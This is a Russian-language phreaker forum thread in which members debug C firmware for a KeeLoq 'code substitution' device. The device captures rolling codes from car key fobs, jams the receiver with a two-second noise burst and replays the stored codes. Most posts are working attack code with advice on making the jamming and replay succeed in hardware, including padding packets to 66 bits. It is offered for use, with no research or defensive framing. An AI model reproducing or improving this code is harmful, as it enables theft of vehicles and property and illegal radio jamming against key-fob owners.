Фрикер Клуб
 

Вернуться   Фрикер Клуб > Основной раздел > Песочница-2

Важная информация

Ответ
 
Опции темы Опции просмотра
Старый 28.05.2013, 20:23   #1
baralgin1003
Вступил в клуб
 
Регистрация: 05.02.2013
Сообщений: 91
По умолчанию {Нид хелп} Алгоритм кодподмены

Приветствую! Пытаюсь реализовать кодподмену. За основу брал ф-цию из мегаанализатора с небольшими поправками.

Код:
void process_keeloq()
{
  unsigned char a;

  switch(keeloq.state)
  {
    case 0:
      if(!RX_AM_STATE) break;
      keeloq.state=1;
      keeloq.pre_count=0;
      break;

    case 1: //pre+hdr
      if(RX_AM_STATE)
       if(p0_len>KL_MAX_TE*10 || p0_len<KL_MIN_TE)
       {
         keeloq.state=0;
         break;
       }

      if(!RX_AM_STATE)
       if(p0_len>KL_MAX_TE || p0_len<KL_MIN_TE)
       {
         keeloq.state=0;
         break;
       }

      if(RX_AM_STATE && p0_len>KL_MAX_TE)
      {
        if(keeloq.pre_count<KL_MIN_PRE_COUNT)
        {
          keeloq.state=0;
          break;
        }       
        keeloq.TE=(p0_len)/10;
        keeloq.state=2;		
		
        keeloq.dat_bit=0;
        for(a=0; a<sizeof(keeloq.data); a++) keeloq.data[a]=0;
        break;
      }

      keeloq.pre_count++;
      break;

    case 2: //dat
      if(p0_len<keeloq.TE/2 || p0_len>keeloq.TE*2+keeloq.TE/2)
      {
        keeloq.state=0;
        break;
      }
	kee_count=0; //обнулим ка запрет на выброс помехи
      if(RX_AM_STATE) break;
	 
      if(p0_len<keeloq.TE+keeloq.TE/2){ keeloq.data[keeloq.dat_bit/8]|=(1<<(keeloq.dat_bit%8)); 
	  if ((do_noise_kee==1)&(kee_count==0)){RT_HI;_delay_us(TE_KEE); RT_LO;kee_count=1;}; //бросаем помеху
	  };
	  
      if(++keeloq.dat_bit==KL_MAX_BITS)
      {
		   
	  	  	  if(strcmp(keeloq.data,keeloq.data3)){ 
				for (ss=0;ss<9;ss++)keeloq.data2[ss]=keeloq.data3[ss];		// обновляем массивы
				for (ss=0;ss<9;ss++) keeloq.data3[ss]=keeloq.data[ss];
				   };
				  
				if(keeloq.data2[1]!=0)send_keeloq(keeloq.data2);   //передаем предыдущий пакетик
				  
				   
				   

        keeloq.state=3;
				
      }
		  
		  
      break;
  }
}
У меня почему то помеха вываливается только в первом пакете, если их больше (одинаковых, т.е. пока держим кнопку на брелке), другие пакеты не бьются. Выброс предыдущего пакета тоже не пойму как выбросить не наложив на серию пакетов - покумекаю, думаю с этим справлюсь.
baralgin1003 вне форума   Ответить с цитированием
Старый 28.05.2013, 21:14   #2
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

Это что за прикол?
PHP код:
if ((do_noise_kee==1)&(kee_count==0)) 
Во первых & это побитовое И, а не логическое.
во вторых писать нужно так
PHP код:
if ((do_noise_kee)&&(!kee_count)) 
Алгоритм не понял, т.к. код не полон.
Переменныe как инициализированы?

А вообще andynvkz писал как нужно кейлог бить - принимаем 64 бита и включаем помеху на несколько секунд. 65 и 66 бит нам не нужен, там длительность нажатия и разряд батареи, и зато ослепления приемника не будет, по сравнению с глушением в третьем Те.

Добавлено через 2 минуты
Ребята, когда код выкладываете, хотя бы в общих словах алгоритм описываете, а то с воображдением бывает туговато.
russo_turisto вне форума   Ответить с цитированием
Старый 28.05.2013, 21:24   #3
baralgin1003
Вступил в клуб
 
Регистрация: 05.02.2013
Сообщений: 91
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

блин... про && точно, ступил. Про !kee_count мне кажется большой разницы нету, ибо задается не логика, а обычный char, который может быть и 2 и 3.
Где то набредал на правило бития пакетов, но сейчас не найду уже. Можно ссыль в студию?
А про ослепление приемника - сейчас для меня актуально...

Добавлено через 8 минут
не сработало... так же один из серии коцается. Я вот думаю может преамбулу коцать или хедер? тогда и приемник может успеет очухаться
baralgin1003 вне форума   Ответить с цитированием
Старый 28.05.2013, 21:57   #4
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

http://phreakerclub.com/forum/showth...B5%D0%BD%D1%8B

Могу проверить, если будет файл протеуса и исходник.

Зачем каждый пакет бить?

Как только принял 64 бита - врубай помеху на 2 секунды.

А спутал, exchange автор этой помехи последних двух бит

http://phreakerclub.com/forum/showth...B5%D0%BD%D1%8B

Последний раз редактировалось russo_turisto; 28.05.2013 в 22:02.
russo_turisto вне форума   Ответить с цитированием
Старый 29.05.2013, 09:14   #5
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

В железе это работать не будет
PHP код:
 case 2//dat
      
if(p0_len<keeloq.TE/|| p0_len>keeloq.TE*2+keeloq.TE/2)
      {
        
keeloq.state=0;
        break;
      }
    
      if(
RX_AM_STATE) break;
     
      if(
p0_len<keeloq.TE+keeloq.TE/2){ keeloq.data[keeloq.dat_bit/8]|=(1<<(keeloq.dat_bit%8)); 
     [
B] if ((do_noise_kee==1)&&(!kee_count)){RT_HI;_delay_us(TE_KEE); RT_LO;kee_count=1;};[/B]
      }; 
Т.е. помеха будет, но сам себе прием испортишь.

И задержки нужны таймерные а не _delay_us(TE_KEE)
При включеных прерываниях _delay_us будет на самом деле длинее, т.к. проц отвлекается на прерывания.

И когда выброс включаешь - отключай прерывания, для точности длительности пакетов.
russo_turisto вне форума   Ответить с цитированием
Старый 29.05.2013, 09:15   #6
baralgin1003
Вступил в клуб
 
Регистрация: 05.02.2013
Сообщений: 91
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

в железе и не работает... скорее всего из-за ослепления, так как снимаю ногу с передаста - все принимает. Попробую переделать под таймер
прерывания, кстати, отключал - так вообще не принимает. отключал непосредственно перед выбросом и включал сразу после него. без передатчика даже не принимает.

Последний раз редактировалось baralgin1003; 29.05.2013 в 09:18.
baralgin1003 вне форума   Ответить с цитированием
Старый 29.05.2013, 09:25   #7
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

В железе не работает не изза ослепления,
функция приема проверяет на длительности положит и нулевые импкльсы при каждом прерывании, и если одно расхождение то выход из функции приема. А это расхождение делает твой передатчик, портя пакеты.
Принимай 64 бита - заканчивай прием и включай помеху на 2 сек, третий раз повторяю.

Во время приема прерывания нельзя отключать.
russo_turisto вне форума   Ответить с цитированием
Старый 29.05.2013, 09:31   #8
baralgin1003
Вступил в клуб
 
Регистрация: 05.02.2013
Сообщений: 91
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

понял. а если передать только 64 бита, приемник не забракует посылку? или надо левыми битами дополнить?
baralgin1003 вне форума   Ответить с цитированием
Старый 29.05.2013, 09:48   #9
russo_turisto
Резидент клуба
 
Аватар для russo_turisto
 
Регистрация: 21.08.2011
Сообщений: 1,158
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

При передаче дополняешь до 66 бит и передаешь 66 бит.
russo_turisto вне форума   Ответить с цитированием
Старый 30.05.2013, 07:04   #10
baralgin1003
Вступил в клуб
 
Регистрация: 05.02.2013
Сообщений: 91
По умолчанию Re: {Нид хелп} Алгоритм кодподмены

чуть подправил код
Код:
 void noise_2s(){		
	 cli();
	for(ss=0;ss<2050;ss++){
		RT_HI;
		_delay_us(400);
		RT_LO;
		_delay_us(400);
	}	 
	 sei(); 	 
 };

void process_keeloq()
{
  unsigned char a;

  switch(keeloq.state)
  {
    case 0:
// удалил

    case 1: //pre+hdr
//удалил

    case 2: //dat
      if(p0_len<keeloq.TE/2 || p0_len>keeloq.TE*2+keeloq.TE/2)
      {
        keeloq.state=0;
        break;
      }
	
      if(RX_AM_STATE) break;
	 
      if(p0_len<keeloq.TE+keeloq.TE/2){ keeloq.data[keeloq.dat_bit/8]|=(1<<(keeloq.dat_bit%8)); 
		  
	  if ((do_noise_kee==1)&&(keeloq.dat_bit>=64)) keeloq.dat_bit=65;  //харош принимать, словили 64бита
	  };	  

      if(++keeloq.dat_bit==KL_MAX_BITS)
      {
		   if (do_noise_kee==1)keeloq.data[0]=0xF;							// дополним до 66 бит
	  	  	  if(strcmp(keeloq.data,keeloq.data3)){ 
				for (ss=0;ss<9;ss++)keeloq.data2[ss]=keeloq.data3[ss];		// обновляем массивы
				for (ss=0;ss<9;ss++) keeloq.data3[ss]=keeloq.data[ss];
				   };  

        keeloq.state=3;
		 if (do_noise_kee==1)noise_2s();	//кидаем помеху	
      }
		  
		  
      break;
  }
}
в итоге вроде помеха кидается, но по ее окончанию, если держим все еще кнопку брела, она не повторяется
baralgin1003 вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



Текущее время: 15:22. Часовой пояс GMT +3.


vBulletin 4.1.0 Перевод: zCarot
(C) www.phreakerclub.com